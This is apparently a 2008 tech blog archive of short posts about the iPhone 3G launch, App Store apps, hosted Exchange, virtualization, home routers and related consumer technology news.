I am referring to the new iPhone - and the new Apple iPhone SDK that allows developers to build ‘native’ applications. The announcement was greeted with a web-wide standing ovation, especially from the developer community. The same community who demand all from Microsoft, feel gifted and special when Apple give them an inch of rope. When Microsoft introduced DRM into Media Player it was bad bad bad - and it wasn’t even mandatory, it simply allowed content owners a way to distribute and sell content from anywhere.

How can people who preach and pontificate open systems be so enamored with a completely closed, proprietary system as Apple's? Now, don't get me wrong. I was in line at an Apple store last week with all the people Nik talks about in his article. I really like the iPhone and I think my Mac is great, hardware-wise (okay, the OS is not too bad either). But there's something that's always lurking there in the back of my mind, like a pestering little voice that doesn't want me to give in or forget lessons of the past. "A closed system is a system doomed to fail," the voice tells me. Either that, or it is so limiting as to stifle. Or both. Maybe I need to get my medication checked. On the other hand, maybe the voice is right. Or both.

Risking cliche cynicism, I think one has to consider whether The Church of The Steve congregation is further developing (or devolving, if you prefer) in its adoration, at the expense of long-term good. Blind faith, crazed unthinking people saying one thing yet doing another, the how-dare-you-question mentality... Sounds familiar. And that's coming from an Episcopalian. An imperfect, sometimes-questioning, sometimes-doubting, cynical one -- But you get the point. I hope.

Perhaps the scariest part of my thought process today is that I actually agree completely with Dave Winer on this one. He nails it right on the head. Okay, there are times when I agree with Dave, but until now I've never really admitted it in public. :)

What do you think about Apple's model? Fanboy? Concerned? Who cares? End of the world as we know it? Utopia? Told-ya-so?

You can spend literally minutes (many of them) watching Gary Busey comment on various aspects of business and entrepreneurialism, and laughing in the process. Awesome. Highly recommended, since Gary is one of my favorites. You can click the buttons at the bottom of the video screen to get to different sections, each with several "episodes."

And by the way, the gotvmail service this video series is meant to virally market is pretty great, too. You might want to check that service out if you need a more-formal call-handling system for your smaller-sized business but don't want to shell out the money to buy all the classic PBX hardware. Great for distributed teams and virtual offices, too.

I know this isn't exactly a new thing, but as I was installing the IE8 Beta 1 for x64 architecture on a computer today to do some testing, I felt a warm-fuzzy sense of appreciation for the fact that more and more we are seeing software that checks for patches and updates before installing and running for the first time. It makes for more-secure system, which is nothing but good.

No matter what you think of Internet Explorer (and for the record/what it's worth, I like it quite a bit these days), you have to admit the safer installation process is a great improvement.

Gizmodo has a good article highlighting the analysis of the iPhone 3G's battery life (some loose methodology, and some only slightly more formal) by nine industry pundit sources. All I can add to the info is that it's good to burn the batteries in for a week with full charges and discharges (even in the modern battery world) before one can really experience accurate results (batteries tend to need a couple good cycles to provide optimum output).

The general consensus? No 3G phone on the market has great battery life, but in the grand scheme of suckiness, the iPhone 3G's battery life suck the least. Forgive the terminology, please. Just trying to make a point. :)

"One takeaway seems to be that as far as straight-up 3G talk time goes, the iPhone 3G is near the top of the range—Wirelessinfo and PC World both found it to be among the best 3G handsets they've tested for voice talk time. For mixed use and browsing numbers, the range is pretty wide, since the variables at play are nearly infinite."

I know a couple people who run so many programs at once on their laptops, they might just be able to take advantage of the new quad-core mobile processor from Intel, which is apparently coming next month. But I have to wonder - since those are the same people that will scream about battery life - how practical it would be. It will be interesting to see how they perform.

At any rate, looks like it's coming in August (and it ain't exactly cheap - see the story for more info).

"We're bringing quad-core to mobile in August," said Sujan Kamran, regional marketing manager for client platforms at Intel in Singapore. Kamran declined to disclose specifics of the quad-core chip, which will carry Intel's Core 2 Extreme moniker.

Link: Intel's Quad-core Mobile Chip Coming Next Month - Yahoo! News

Wow. The numbers are really huge. Apple has released figures for it's "opening weekend" box office smash, the iPhone 3G. One million units sold in the first three days. It took 74 days to sell that many of the original iPhone last year.

No wonder activation in the stores was so sluggish (or at times just broken). Big uptake in the USA, plus 20 other countries on opening weekend.

A quick note about analyst reports that preceded Apple's announcement. "There are three kinds of lies: lies, damned lies, and statistics." For the record, Piper Jaffray analyst Gene Munster said Monday that Apple was not going to meet even the half-million sales mark expectation set by the marketplace for the opening weekend. Boy, was he ever wrong.

In addition to the huge iPhone sales, Apple also announced that more than 10 million apps were downloaded from the iTunes App Store in the same time period. I wonder how many of those were paid for, how many were free, and what kind of revenue for Apple and authors we're talking about.

Very. Smart. Company. Not perfect, but that don't need to be. They take chances. Big ones. Laser-focused, too, and always successfully defining ahead of time what is "right" and then delivering (which, by the way, is much easier to do than letting someone else define "right" and then trying to meet those expectations).

This morning I signed up for a hosted Exchange Server 2007 account with the 4iphone.net service provided by 4smartphone.net, an early provider of push-iPhone service using the ActiveSync capabilities of Exchange. I'm up and running with my new iPhone on their Exchange server now with my own domain name, and I can tell you already I am just a couple steps away from migrating my email from Google Apps to 4smartphone.net.

To put it simply, Exchange Server 2007 rocks, and so does the new iPhone and its updated software. But when you put them together, you get the ol' 2+2=5 effect. The greater value of each piece of technology is truly realized when used in concert.

Note, too, that hosted Exchange customers get a free copy of Outlook 2007 (for the PC) or Entourage 2008 (for the Mac). There's no need to buy a copy. The client license is part of the hosted Exchange license. That alone is a substantial value.

Setup was fairly straightforward, although some of the configuration instructions were a little vague and complicated to decipher at first (see below). But as of now I'm receiving and able to send email on both my Google apps and Exchange mail servers - with no changes to my DNS settings required. So, it's super-easy to evaluate and try-out the Exchange hosting. Add the 15-day free trial (they'll reimburse if you decide not to keep the service running), and it's a zero-risk evaluation.

Note that when you set up the account at 4smartphone.net, you will initially be logged into their Account Manager, which is where you configure your domain(s) and users/mailboxes. In this interface, the information provided to set up your ActiveSync users is a little vague (specifically, the format of the user name is not intuitive). You can, however, find the complete details of what you need to configure your account when you log into their "Mailbox Manager" web app. In that interface, you'll navigate to Setup > ActiveSync > Instructions and there find exactly what you need.

Delivery with push technology on exchange reminds me of my Blackberry days - within seconds of arriving on the server, email hits the mobile device. Since I got my first iPhone I've always felt a little sluggish when it comes to receiving email. No more: The first time email arrived in Entourage on my Mac and on the iPhone at the same time - practically instantly - I realized what I've been missing.

Combined with the usability and terrific functionality of the 3G network and iPhone 2.0 software and it's just a little too much to describe. It just works, it works well, and it is usable to the point of not having to think about it -- the ultimate test for a usability engineer.

After setting up the email flow and making sure it all works, I used Entourage to copy all my contacts and calendar items to the Exchange server, then enabled syncing of that information from Exchange to the iPhone.

I'll post more after I've had a little more hands-on experience, but so far so great. Highly recommended, and with 4smartphone.net and companies like them, Exchange is available instantly to individuals and small groups or businesses, not just big companies.

I'm officially the proud and happy owner of a white 16GB iPhone 3G. I'm about to head out to the store to take care of all the other stuff I need to get done today, so I will have a chance to check out the GPS and 3G network stuff shortly.

I arrived at about 7am at the Apple Store at the Flat Iron Crossing mall in Broomfield, Colorado. About 150 people were already there by the time I arrived, and the numbers just kept on adding up as the morning wore on.

There were a lot of first-time-iPhone-purchasers as well as upgraders in line. I figured it was about a 50-50 mix. The Apple store staff said they had lots of iPhones in stock. At 8am, an army of crazed, screaming Apple Store employees came running from the parking lot where they'd staged themselves, past the crowded line and into the store, trying for high-fives along the way. It was the most excited group of retail workers I've ever seen, to be certain.

The iPhone-stock situation at the Apple stores, however, contrasted drastically with what we were hearing on Twitter about the people in line at the AT&T stores, where stock on hand seemed to be very limited and lines were also long. Word was each AT&T store had about 60 phones or so. Not so at Apple stores, where managers said they had enough to cover the crowds.

Almost as soon as 8am rolled around things went south. The first of the line moved into the store and shortly after is when things stopped. Rumors started to trickle out that the activation system was failing. The situation improved somewhat, until an hour later when the system again failed (likely as a result of the west cost stores opening). The store manager came out to address the crowd and explained the situation (quite effectively, I might add - Apple has a great crew at the store I visited), telling us what was happening with surprising transparency and apologizing for the delay. He thanked us for waiting and our "dedication," and came back out to give updates. At about 10am local time, the situation improved substantially and people started getting their phones in a more-timely manner.

As it turned out, we were not leaving the store with fully activated iPhones as expected. In fact, I got mine at 10:55 a.m., but when I walked out of the store it was still sealed in the plastic-wrapped box. Apparently Apple decided to ditch the in-store iTunes activation dance and instead started sending people home to activate their new devices on iTunes themselves. Good call. In the store they took my information and changed my service over with AT&T, which went smoothly (go figure - AT&T's money grab was slick as snot, heh). My old iPhone went out-of-service with AT&T about 20 minutes later and I so was without a phone until I could get back home to activate the new one.

There were around 200 people in line when I left. Good thing the process was moving faster.

At home, I was able to activate my new phone in less than 30 minutes. It took a while for iTunes to make its initial connection, but once that happened it was a quick and painless process. No bricked phone or anything, and after restoring my backup from the old iPhone I was all set.

Bonus info: I got an email from Telenav this morning explaining they're working now on an iPhone version of their GPS mapping software - Quite excellent! That mean we'll soon have high-quality, turn-by-turn GPS navigation on the iPhone before too long! No delivery dates or other promises (of course), but the app is in the development process. Details are at Gizmodo, and the Telenav blog is a good place to keep your eyes open for future information.

I arrived in Colorado this afternoon, plugged in my iPhone, backed it up, installed iTunes 7.7 and grabbed the iPhone v2.0 software from Apple's servers (it's out there, although iTunes is not yet advertising it here). I found the Apps listings in iTunes and decided it was about time to upgrade. So, I hooked up the iPhone and promptly fell asleep on the couch while it did it's thing upgrading.

I woke up to the sound of "bliiihdeep!" from the phone and a little "thunk" as it slid on the countertop from where I had it propped up against my Macbook Air (strategically placed so a vibration would make it move, hence alerting me to activity during the lengthy upgrade process). I went to the phone, restored the backup from iTunes, and BAM! There I was, iPhone 2.0 software ready to go.

Once I jumped onto the wireless network at the house, I launched the app store and started looking at programs. The first one I tried was Twitterific. It's pretty okay, but all else being equal I wish I still had Twinkle on there as an app. I'm sure it will be available soon enough.

I installed Google's search app (very cool), the Paypal app (kinda cool, very spartan), and the Weatherbug ap (because those guys rock and their screenshot actually looked interesting - and it's a great little app). Last, I found the Pandora app.

Now, I have written about Pandora here before, long long ago. It's just as amazing a service today as it was then. Simply put, you start pff by providing an artist or two or three that you like and Pandora starts playing music of a similar nature that it "thinks" you'll like. You can vote individual songs/pieces up or down and it refines its recommendations. And Pandora's app on the iPhone let me log into my Pandora account instantly, within seconds, and literally ten seconds later it was streaming my music channels to me over the air.

Incredibly usable, simple, effective. Pure usability bliss.

I showed it to my mom. She instantly lit up and said, I quote: "Wow!" The thing about Pandora is I can explain it to anyone in about 20 seconds and they always "get it." They've done something - perhaps everything - right.

That made me think. My mom just found out she will have to be spending some substantial time in the hospital soon. When I showed her the Pandora application, after she showed her sense of amazement, she got pained look on her face and asked me if I would show her how to transfer files to her (crappy) MP3 player. The device is next to unusable. Even I have a hard time getting it to work. There's nothing good about it. So, tomorrow when I am out picking up a new iPhone 3G, I'm going to grab an iPod touch for my mom. And then ship my old iPhone to my friend Chris (whose shipping address I need in order to do that BTW, hint-hint).

My wish list for more apps? I was pretty disappointed to not find a blog authoring application, something similar to Windows Live Writer but trimmed down and made for the iPhone. Maybe I just need to learn how to program this stuff, but that's a scary thought. Someone better than me must be working on a blogging app. There's a good one available in the app store for TextPad, but that doesn't really help me since I don't use that platform for my blog.

So, iPhone software v2.0 has convinced me to but an iPod Touch for my mom. Once again, the ball's been hit out of the park.

Microsoft has released Hyper-V for Windows Server 2008, which is the company's hypervisor virtualization platform. With it, you get multi-OS, highly-configurable and performant virtualized hardware capabilities on the Windows platform.

Windows Server 2008 Hyper-V, the next-generation hypervisor-based server virtualization technology, allows you to make the best use of your server hardware investments by consolidating multiple server roles as separate virtual machines (VMs) running on a single physical machine. With Hyper-V, you can also efficiently run multiple different operating systems—Windows, Linux, and others—in parallel, on a single server, and fully leverage the power of x64 computing.

For additional information, you might want to check out a RunAs Radio episode that Richard Campbell and I published back in April, when we spoke with Anil Desai on the topic of Hyper-V. Anil compared Hyper-V to ESX Server from VMWare and discussed the Microsoft offering in some detail.

You have firewalls and anti-malware system, video surveillance and monitoring systems for network traffic to and from the Internet. But look at eWeek's semi-smart list of the top ten infosec risks workers pose to your business today, and you may need to rethink your plans.

I call this a "semi-smart" list because it's practical and real-world, and doesn't assume the "standards" out there cover all the bases. But, at the same time it doesn't offer much in the way of solutions, which always frustrates me (and it misses some key points, especially related to intentional worker behavior, as opposed to neglect, and how it can substantially enhance the potential associated with these risks).

Point is, each of the items pointed out is very much worth considering and reviewing in your business security program. Just don't forget to look at them in the big-picture perspective of the business.

And now for the list:

• USB Flash Drives
• Laptops
• P2P
• Web Mail
• Wi-Fi
• Smart Phones
• Collaboration Tools
• Social Networks
• Unauthorized Software Updates
• Virtual Worlds

Pretty much every modern technical productivity enhancer. Before anyone starts screaming the alarmist song, think about not only how these things can be used for good, but also about how they could be used to to Very Bad Things.

How many of those technologies are specifically and can be proven effectively covered under your infosec policies? How many have you tested in the real world to see what your compliance profile really looks like? Could you meaningfully test for these threats, even if they were on your plan?

You can check out the eWeek article here.

Google Talk is now available on the iPhone in the Safari browser. At the Google Mobile blog, the details are laid out. If you use Google Apps for your domain and have the Talk app activated there, word is you can access it, too using this URL syntax:

http://hostedtalkgadget.google.com/a/yourdomain/talkgadget/m

"We've just released in the US a new version of Google Talk designed specifically for the iPhone and iPod Touch browsers. In addition to sending your friends Gmail messages from your iPhone, you can now chat with them while you're on the move, too! In your iPhone browser, just go to www.google.com/talk, sign in and start chatting. That's it. Google Talk runs entirely in the browser so there's no need to download or install anything."

Announcement: Official Google Mobile Blog: Google Talk for the iPhone

Tired of relying on well-funded commercial software companies testing their software on you while you come to truly rely on it, with little to no control?

Well, the world is (potentially) changing.

If you're - for example - a Twitter user, you might be interested in checking out Identi.ca, a brand-new open-source platform for microblogging. Press release below.

I can be found at http://identi.ca/greghughes - Check it out.

Control Yourself, Inc. launches Identi.ca, the Open Microblogging Service (July 2nd, 2008)

Montreal, Quebec-based Control Yourself, Inc. today launched Identi.ca, the open microblogging service. Users can post short messages about themselves to Identi.ca, which are then broadcast to friends in their social network using instant messages (IM), RSS feeds, and the Web.

Identi.ca is similar to existing microblogging sites such as Twitter, Jaiku, or Pownce. Unlike those services, Identi.ca’s underlying software is available under an Open Source license. Identi.ca is also the first service to support OpenMicroBlogging, a standard for exchanging short messages between microblogging sites. Identi.ca also makes public user data available under a Creative Commons license in standard formats.

“Too many existing social networks keep users locked in to their services,” says Evan Prodromou, president of Control Yourself. “With an Open Source code base, and support for standard data exchange formats, we are giving users back the autonomy to control their own social Web presence.”

Response from initial testers has been enthusiastic, both for the software’s design and functionality, as well as the site’s openness. “It makes me feel alive again to see the resurgence of free/open on the web,” said Jon Phillips, Community Manager with Creative Commons in San Francisco, CA.

Control Yourself will grow the service exponentially throughout 2008, adding features such cell phone text messaging (SMS) and multilingual support in its next software release.

Link to the original press release: Control Yourself

Microsoft will soon be selling it's Office suite, along with security protection software (OneCare) and a slew of other applications for a $70 annual fee under the name "Equipt" this month. This is the first time a consumer has had the option to pay-as-you-go for the Microsoft productivity software, and will likely open up the possibility of a more budget-affordable option for many. When you consider an annual OneCare subscription runs you $50 a year and a copy of Office Home and Student Edition sells for a one-time fee of $150 (and a new version seems to come out every three years on average), it's an attractive deal. The $69.99 subscription fee will let you install the software on up to three home PCs.

Infoworld:

Equipt, which was formerly known by its code name, Albany, includes Office Home and Student 2007, Windows Live OneCare, Office Live Workspaces, Windows Live Mail, Live Messenger and Live Photo. Microsoft plans to begin selling it in the U.S. on July 15 through Circuit City, with other outlets to follow. It will be offered in other countries at about the same time, though pricing elsewhere was not announced.

The name comes from the idea that the package will help customers "equip their PC with a core set of services," said Bryson Gordon, a group product manager for Microsoft Office. "It resonated well with customers in testing."

Link to the Original Article at InfoWorld: Microsoft to sell Office 'value pack' for $70 per year

AT&T has released a set of informative videos (all of which appear below) with details about when, where and how to buy the iPhone 3G. Prepare to qualify!

There are three videos. The first one is for people who are not existing AT&T customers:

AT&T Inc. (NYSE:T) today announced iPhone 3G pricing for new and existing AT&T customers, several attractive voice and data plans, and tips on how to be “iReady” when iPhone 3G goes on sale at AT&T retail stores at 8 a.m. local time on Friday, July 11.

“We can’t wait to offer iPhone 3G to our customers, and we want to make sure the buying process is as easy as possible,” said Ralph de la Vega, president and CEO of AT&T’s wireless unit. “Considering all the great new features of iPhone 3G, we think our pricing and monthly plans present a tremendous value for consumers and businesses alike.”

Pricing and Eligibility

AT&T is making it easy for customers to prepare for their iPhone 3G purchase by posting “Get iReady” tips and frequently asked questions at www.att.com/iphone. The site also will include a link for customers to check their upgrade eligibility and other wireless account information.

iPhone 3G will be available for $199 for the 8GB model and $299 for the 16GB model. These prices require two-year contracts and are available to the following customers:

• iPhone customers who purchased before July 11
• Customers activating a new line with AT&T
• Current AT&T customers who are eligible, at the time of purchase, for an upgrade discount

Existing AT&T customers who are not currently eligible for an upgrade discount can purchase iPhone 3G for $399 for the 8GB model or $499 for the 16GB model. Both options require a new two-year service agreement. In the future, AT&T will offer a no-contract-required option for $599 (8GB) or $699 (16GB).

Current customers may also choose to wait until they become eligible for an upgrade discount. Eligibility is generally determined by amount of time remaining on a current contract and payment history.

Current AT&T customers who are upgrading to iPhone 3G will pay an $18 upgrade fee and new AT&T customers will pay the standard $36 activation fee.

Voice, Data and Text Messaging Plans

AT&T brings iPhone 3G customers the best coverage on the globe and the largest mobile-to-mobile calling community with unlimited calling to AT&T’s 71.4 million wireless customers. iPhone 3G customers can choose from four individual AT&T Nation plans, which bundle voice and unlimited data (e-mail and Web browsing).

• AT&T NationSM Unlimited: Includes unlimited Anytime Minutes for $129.99 a month.
• AT&T Nation 1350: Includes 1350 Anytime Minutes and unlimited Night & Weekend Minutes for $109.99 a month.
• AT&T Nation 900: Includes 900 Anytime Minutes and unlimited Night & Weekend Minutes for $89.99 a month.
• AT&T Nation 450: Includes 450 Anytime Minutes and 5,000 Night & Weekend Minutes for $69.99 a month.

All AT&T Nation and AT&T FamilyTalk® plans for iPhone 3G include nationwide long distance and roaming, Visual Voicemail, Rollover®, unlimited Mobile to Mobile calling, Call Forwarding, Call Waiting, Three-Way Calling and Caller ID.

AT&T will offer FamilyTalk plans, with bundled voice and unlimited data, starting as low as $129.99 a month for two iPhone 3G lines. Up to three additional iPhone lines can be added for $39.99 each.
Unlimited text messaging can be added for an additional $20 ($30 for FamilyTalk plans of up to five lines); $15 (1,500 messages), or $5 (200 messages).

iPhone for Business

Business customers interested in iPhone 3G should contact an AT&T business sales representative or review their account information online to determine their eligibility for upgrade pricing. Corporate e-mail and other business applications require the Enterprise Data Plan for iPhone, which is $45 a month and bundled with an eligible voice plan. Small business customers may qualify for AT&T BusinessTalk, the industry’s only shared plan specifically for small businesses. Additional details on iPhone business offerings are available at www.att.com/iphoneforbusiness.

iPhone 2.0 Software

All iPhone customers will benefit from the iPhone 2.0 software, which will be pre-loaded on all iPhone 3Gs and available as a free download for current iPhone customers. The new software will include numerous enhancements, such as business-class e-mail access via Microsoft Exchange ActiveSync; the iPhone Software Development Kit (SDK), which allows a business to easily create applications customized to its needs; and the App Store, which offers a wide-range of applications — from games to business, education to entertainment and productivity to social networking. For example, AT&T has developed YELLOWPAGES.COM Mobile for iPhone, which takes local mobile search to a new level by allowing users to discover businesses and local events based on their popularity among other iPhone users, get directions and access business reviews.

So - The real question is this: Who plans to get in line early? :)

Nate Westheimer of The Silicon Alley Insider has this to say:

Twitter should take full advantage of their messaging platform, user base and user disposition to lead in the P2P mobile payments space, where, despite years of hype, no one has much of a head start.

Link to the article: How Twitter Could Be Worth A Billion In A Year

I have to admit, coming from the Internet financial services space, the thought of this actually happening scares me slightly, given the serious lack of stability and the manner in which changes have been made at Twitter with less than complete communication. But at any rate, they have a lot of money to throw at the problems, so I am rooting for them to get things right. It just hurts. :)

Westheimer makes some good points. Twitter is carrier/provider-agnostic and has amazingly terrific user and market penetration. Just as I send you a direct message today by typing "d yourname hi how are you?" I could pay you using syntax like "p yourname $20."

But getting from here to there is an whole other story. It's far from trivial to create a financial transaction and accounting system, especially one that scales to the sizes required (but it certainly can be done).

It's an appealing and interesting idea and one that warrant some real thought. As someone who comes from the the online banking software, infrastructure and security world, I can see the market need as well as the challenges from many fronts that will face any company that finally jumps fully on-board the micro-payments and mobile-payments train. A number of good, well-funded companies have given it a run before with limited success. It's a complex problem to solve, but it's doable.

It sure sounds like a fun challenge, and there's a massive marketplace out there just waiting for someone to get it right. Note the operative verbiage there - Doing it well is critical to success. The fact is there's no room for "scale later" in this game.

What do you think? Would you pay people via Twitter if you could? Would it be useful to you?

I've really missed Windows Live Writer since I starting using my Macbook Air so much. Even though I have it in a Fusion virtual machine running Windows, I find I rarely use it since it uses the VM's filesystem (not the Mac's), and copying stuff onto the Mac clipoard and then pasting into a Windows virtualized app is not what one might wish.

I was pleasantly surprised to run across a Mac app called Blogo, which I am using to write this post. It's nowhere near as feature-rich as Live Writer, but Blogo is a great start on a WYSIWYG editor with many of the bells and whistles. I pointed it at my blog home page during setup, with very little hope it would auto-discover my blog settings, but I was pleasantly surprised. Up popped a dialog asking for my username ad password, and once I provided it, there on the screen was my list of blog posts pulled straight from the server's API (which I seem to recall emulates the Blogger API). Very nice.

Blogo has a funny icon logo, is available as a free 21-day trial, and after that it's $25. There are a few key features missing that might make me pause when it comes to shelling out the cash. Specifically there is no spell checking (I'd like to see red underlines and inline corrections with the right-click action), selecting text and trying to drag it around doesn't work, the image editor is fairly limited, and it doesn't seem to pull my list of existing categories. Plus you cannot edit the HTML it creates (yet) and pasting multimedia content inline doesn't seem to work well. But as I said, it's a great start. If you have a Mac and you're frustrated with other blogging apps, you should check it out.

It's the best WYSIWG mac client I've found so far, so it earns a spot on my Mac's Dock. I will be keeping up with this editor's progress with high hopes, and am encouraged there may yet me a Mac blogging client to rival WLW.

We can hope!

A mashup of true and mostly-true stories from IT hell. If you've ever called tech support and wondered what the hell they are doing down there... well, this should answer some questions for you. Starring Apache, Windows XP, Linux and Halo (among many others).

You can use the Kit to help protect your network infrastructure by configuring a Forefront Client Security compliance health policy across your network, monitoring the operational health of Forefront Client Security in real time, and remediating problems that arise.

Gmail engineers come up with new ideas all the time. Gmail Labs is our place to try them out and get your feedback. None of these features are really ready for prime time yet, so they might change, break, or disappear at any time.

At 6pm PT they’re launching Gmail Labs – it will be a tab on top of settings, a list of features that are rough, have gone through almost no filtering. Using the send feedback link users can go to the Google Conversation. Every user will have this available.

The first batch will include 13 new features being tested now, all created by Gmail engineers. Everyone will have access to these.

Since mid-March, Apple Inc. and its logistics partners have imported 188 ocean containers of a product type never before declared on its shipping manifests.

With iPhones currently out of stock at many Apple stores, including its flagship outlets in New York City, rumors abound that the company is winnowing stocks in preparation for a new 3G version of the phone.

• Fortune Apple 2.0 - What to expect from Steve Jobs on June 9th
• Reuters - AT&T CFO: No pricing yet for next iPhone (but he expects it in the next few months, he says) 
• AppleInsider - Latest iPhone 2.0 beta adds geo-tagging to Camera photos
• ChannelNews Australia - OZ 3G iPhone to be fastest in the world (like as in 42mbs - wow!)
• Also, at&t's high-speed 3G network roll-out should be complete in June - Good timing
  

http://www.intelliborn.com/repo/Intelli.plist

• View Calendar, Email, Text Messages, News, Sports, and Weather from your iPhone "Slide To Unlock" screen
• Smooth scrolling across each item to quickly glimpse at your data
• Auto-Checks Email when you view the unlock screen - no need to "Refresh" from Mail.app or wait 15 minutes
• Go directly to the application of your choice with a "Swipe"
• Precise International Weather (by Zip) provided by Weather Underground.com
• News Feeds include Yahoo!, CNN, Fox News, and Reuters (more coming soon!)
• ESPN Sports Feeds include MLB, NFL, NBA, NHL, NCAA Men's Football and NCAA Women's Basketball
• Customizing your IntelliScreen is easy! Choose which content you want to view and where
• Mail and Text Messages can be shown only if new items are available

I'm pulling my hair out (what I have left, anyhow) trying to find a good home/home office wireless router that includes all the features I need. Granted, I'm a bit of a power user, but I'm honestly a bit surprised I can't find what I want out there somewhere. You'd think someone would build it. My list of features and performance requirements includes:

• Gigabit WAN and LAN ports - and needs to have four LAN ports
• VPN capability that I can use cross-platform - an SSL VPN might be the best option, but whatever works well and lets me connect with Windows, Mac, etc. is what really matters to me
• Working, reliable and effective QOS - routers I have used in the past have either been terrible or mediocre at properly shaping and allocating traffic for VoIP and other services
• Reliable and full-featured administrative capabilities in firmware
• Quiet, reliable hardware
• IPv6 support
• Wireless-N

Until recently, I have been using a D-Link DIR-625 router, which has been stable and reliable. But it's a 100-megabit device and the QOS is marginal for VoIP traffic in my experience. Plus the firmware has not been updated recently and there is no VPN capability. It's rock-solid at what it does, though. I've only had to reset it a couple times since I have had it.

I've looked at the D-Link DIR-655 router, which is their currently-touted gigabit version of the 625 model. It's still on my list possible solutions, but with no VPN it doesn't meet all my needs, and D-Link doesn't seem to have one that includes all the features.

Yesterday I picked up a VPN router with gigabit and QOS made by Linksys, the WRVS4400N. It's not cheap and honestly I'm not sure why I allowed myself to buy a Linksys product after all the headaches I have had with them before. The net result of the past 12 hours of use is that I'm going to return it today. Between the slow reboots required with every other change I make and the lack of capabilities in the software (and some stuff that just doesn't work), it's already frustrating me. D-Link has seriously spoiled me in the Admin interface/firmware capabilities department, even without releasing any updates. Add to that the high-pitched whine the Linksys router makes and the heat it generates when plugged in and there's just no way. The whine is pretty awful, and gives me a serious headache within minutes if I am near it. Back to the store it goes.

So, I am left without a solution that meets all my needs. I may just have to pick up the D-Link DIR-655 and live without VPN and then find a separate VPN solution, but I don't want to if I don't have to. Any ideas anyone? Is there an option out there that will meet my needs and expectations?

VMware Fusion 1.1.2 addresses two MacBook Air-related problems. Previously, MacBook Air users would encounter a crash if a virtual CD/DVD drive was connected to the virtual machine but a CD/DVD drive was not connected to the MacBook Air. This update fixes this issue.  Also, this latest VMware Fusion update adds the ability to burn CD/DVDs with the MacBook Air’s USB Superdrive.

• IPv6 information on Wikipedia
• IPv6 info from Microsoft
• Sean Siler's IPv6 blog

One of the main reasons I decided I would buy the MacBook Air recently was that I knew I would be able to run Windows on it, either in a bootable install or in a virtual machine. In fact there is really one main app that I use all the time on Windows that I just can't get for the Mac, but that's a topic for another post. I'm quite happy with the Air - It's a great machine and  I have to admit that OS X has grown on me.

I bought a copy of VMWare Fusion after doing my required research. Compatibility with OSes and a variety of different features/capabilities put it at the top of my list for a virtualization host. I have a couple copies of Windows Server 2003 lying around here that I never broke the shrink wrap on, so I built a trimmed down virtual machine for use on the Mac.

In fact, I built three of them. But every time I installed a new VM and got it up and running, every time I restarted the machine VMWare would simply quit, die, crash - console and all. No running process and nothing on the screen.

Long story short, I searched and searched and searched and then went to the VMWare user forums, where I found a note about issues people have been having with Fusion and the MacBook Air when using the Air's external DVD drive. Apparently because I was unplugging the DVD drive and then restarting the machine without it attached, Fusion was somehow wigging out (my term) and closing unexpectedly.

After reconfiguring the VM in Fusion's control panel to no longer show the missing drive as "connected," the VM fires right up and works. Hopefully this is something VMWare will address in it's next Fusion update. It's tough keeping up with the nuances of new hardware, to be sure, so looking forward to a fix. In the meanwhile, manually removing the DVD drive in the VM's settings works like a charm.

Richard Campbell and I sat down and discussed virtualization with Anil Desai. Released in beta with Windows Server 2008 and soon to be released in it's final form, Hyper-V is an interesting and worthwhile technology that leverages 64-bit computing and allows you to run different virtual OS'es on the server with full symmetrical multiprocessor support. Virtualization is a primary role of Windows Server 2008. The release candidate of Hyper-V is available now.

You can download and listen the MP3 version of our interview with Anil by clicking here, or click over to the RunAs Radio site for more formats (like WMA, AAC), which is where our weekly IT audio talk show "lives."

For more information from Microsoft about Hyper-V, check these links:

• Hyper-V FAQ
• Hyper-V RC Key Features
• How to Install Hyper-V

I downloaded a new iPhone native app this morning called Twinkle, which is a terrific Twitter client with integration to the iPhone's camera and the radio geolocation abilities. Even without those two enhancements, Twinkle would be - by a long shot - the best option for the iPhone when it comes to Twitter. To get Twinkle, you need to install it via the Installer.app program for jail-broken iPhones (see below for some more info).

Twinkle automatically figures out (approximately) where you are using Erica Sadun's FindMe utility, and uses that to label your Twitter posts with your location - very cool. It also allows you to cclick on a "near me" button to find posts from people located - you guessed it - near you. You can fine tune the distance and it's a nifty addition to Twitter.

A few observations:

• Twinkle is a very fast app - which is welcome since web-based options tend to be very slow, to the point of painful. This app, however, races.
• The UI design and usability to pretty darned terrific. It's quite well though-through.
• I wish I could follow people from within Twinkle. That's one feature that's missing. I hear it's coming soon though.
• Looks like I cannot click on URLs in tweets - that's certainly a missing feature (also coming soon).
• Need links to pics that are posted in the tweet - Can't see a reference to the image in the web Twitter interface if I include a pic.
• The app has has crashed on me a number of times while it's trying to do the geolocation, not sure if my fringe-area location has anything to do with that or not.

Of course, the app creator has a Twitter account, and you can see how popular it's becoming when you look at tweets that refer to Twinkle on TweetScan.

A few iPhone screen-grabs to show it off (click each one to view full-size):

View of my followed peeps' tweets

You wouldn't normally see this too often. My
fringe coverage area means I'm hard-to-locate.

 
Viewing an individual tweet, with ability to
reply, direct message, or go to the tweeter's
individual profile/post page.

 
Replying to myself. Yeah, that's a little weird.

What you see when you view an individual
profile. Nice.

Ah screen-door effect. Taking a picture
to attach to a tweet.

Note the paperclip showing a picture is
attached. Also, the character count actually
works and is accurate, which is a weakness
of many twitter clients.

 
Clicking on the paperclip allows you to
view the attached image - a nice friendly
addition. You can also remove the image
from here, if you change your mind or
want to shoot a new one.

Note: In order to use Twinkle today, you have to "jailbreak" your iPhone, a modification that allows third-party applications to be installed on the device. In the future, you will hopefully be able to download Twinkle from the Apple app catalog (once it's made available). But not today. An obligatory word of warning... If you do the jailbreak process, Apple won't provide support on your phone in the event you need it (unless you restore the phone to non-jailbroken status of course). The ZiPhone jailbreak app is slick and simple - you can just download for Windows or Mac, plug in your iPhone, click a few times, wait a few seconds and you're done. Google it if you want, you'll find it.

On April 12th, we'll be participating in the first Webfoot event in Portland. Webfoot is a web-focused event for all creatures, techie and non-techie alike. Bring the whole family for a day of education, entertainment, and fun!

Technical topics include Silverlight 2, Internet Explorer 8, and hopefully some sessions from the Firefox and Adobe gang if we can get them to show up. :)

Non-technical topics for the normal people include safe Internet browsing.

We'll have food and even some activities set up for the kids, such as Lego Mindstorms.

When: Saturday, April 12th
1:00pm to 7:00pm (dinner provided)

Location: OGI School of Science and Engineering
Wilson Clark Center for Lifelong Learning
20000 NW Walker Rd
Beaverton, OR 97006